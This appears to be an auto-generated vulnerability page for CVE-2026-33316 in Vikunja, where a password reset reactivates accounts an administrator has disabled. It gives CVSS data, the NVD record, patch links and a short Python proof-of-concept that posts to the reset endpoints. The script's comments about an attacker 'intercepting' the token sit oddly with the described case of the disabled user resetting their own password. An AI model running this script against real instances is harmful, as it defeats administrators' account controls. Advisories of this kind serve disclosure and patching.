Security Vulnerability Report
中文
CVE-2026-33316 CVSS 8.1 HIGH

CVE-2026-33316

Published: 2026-03-24 15:16:35
Last Modified: 2026-03-24 19:22:11

Description

Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, a flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. Version 2.2.0 patches the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:* - VULNERABLE
Vikunja < 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL base_url = "http://target-vikunja-instance.com" email = "[email protected]" new_password = "NewStrongPassword123!" # Step 1: Request a password reset token # This endpoint does not check if the user is disabled token_endpoint = f"{base_url}/api/v1/user/password/token" reset_endpoint = f"{base_url}/api/v1/user/password/reset" payload_token = {"email": email} response = requests.post(token_endpoint, json=payload_token) if response.status_code == 200: print("[+] Reset token requested successfully.") # In a real scenario, the attacker would retrieve the token from the email link # For PoC purposes, assuming we intercepted the token reset_token = "INTERCEPTED_TOKEN_FROM_EMAIL" # Step 2: Reset the password using the token payload_reset = { "token": reset_token, "new_password": new_password } response_reset = requests.post(reset_endpoint, json=payload_reset) if response_reset.status_code == 200: print("[+] Password reset successful. Account is now active.") else: print("[-] Password reset failed.") else: print("[-] Failed to request token.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33316", "sourceIdentifier": "[email protected]", "published": "2026-03-24T15:16:35.370", "lastModified": "2026-03-24T19:22:10.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, a flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. Version 2.2.0 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la versión 2.2.0, una falla en la lógica de restablecimiento de contraseña de Vikunja permite a los usuarios deshabilitados recuperar el acceso a sus cuentas. La función 'ResetPassword()' establece el estado del usuario en 'StatusActive' después de un restablecimiento de contraseña exitoso sin verificar si la cuenta había sido deshabilitada previamente. Al solicitar un token de restablecimiento a través de '/api/v1/user/password/token' y completar el restablecimiento a través de '/api/v1/user/password/reset', un usuario deshabilitado puede reactivar su cuenta y eludir la deshabilitación de cuenta impuesta por el administrador. La versión 2.2.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "F28D4CDA-D35C-4636-AABA-A22EBE6F64D0"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/049f4a6be46f9460bd516f489ef9f569574bc70d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/commit/d8570c603da1f26635ce6048d6af85ede827abfb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}